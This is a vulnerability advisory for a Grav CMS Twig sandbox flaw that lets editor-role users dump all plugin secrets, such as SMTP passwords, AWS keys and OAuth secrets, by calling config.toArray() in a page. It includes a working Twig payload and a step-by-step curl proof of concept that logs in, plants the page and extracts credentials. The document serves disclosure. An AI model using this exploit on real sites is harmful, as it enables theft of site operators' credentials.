CVE-2026-44738: Grav: Twig sandbox allows editor-role users to exfiltrate all plugin secrets via Config::toArray()

Summary

The Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.

Details

The Twig sandbox allow-list in system/config/security.yaml explicitly permits Config::toArray() for the Grav\Common\Config\Config class:

yaml - class: 'Grav\Common\Config\Config' methods: 'get, toarray, value, default, offsetget, offsetexists'

The config object — which holds the full merged configuration tree including every key under plugins. — is injected into every sandboxed render in system/src/Grav/Common/Twig/Twig.php (line 292):

php $twigvars = [..., 'config' => $config, ...]

Any editor with admin.pages can save a page with process.twig: true in the frontmatter and the following payload in the body:

{{ config.toArray()|jsonencode|raw }}

When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under user/config/plugins/.yaml.

PoC

bash Step 1 — Get login nonce NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \ | grep -oP '(?<=name="login-nonce" value=")[^"]+')

Step 2 — Login as editor (no admin.super) curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \ -X POST http://TARGET/admin \ --data-urlencode "data[username]=EDITORUSER" \ --data-urlencode "data[password]=EDITORPASS" \ --data-urlencode "task=login" \ --data-urlencode "login-nonce=${NONCE}" -o /dev/null

Step 3 — Get admin nonce ADMINNONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \ | grep -oP '(?<=admin-nonce" value=")[^"]+' | head -1)

Step 4 — Save page with process.twig:true and payload curl -s -b /tmp/cookies.txt \ -X POST http://TARGET/admin/pages/poc \ --data-urlencode "admin-nonce=${ADMINNONCE}" \ --data-urlencode "task=save" \ --data-urlencode "data[frontmatter]=title: poc process: twig: true published: true" \ --data-urlencode "data[content]={{ config.toArray()|jsonencode|raw }}" \ --data-urlencode "data[folder]=poc" \ --data-urlencode "data[route]=/" \ --data-urlencode "data[name]=default" -o /dev/null

Step 5 — Retrieve secrets from rendered page curl -s http://TARGET/poc | grep -o '"password":"[^"]"'

Impact

Any user with the editor role (admin.pages) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.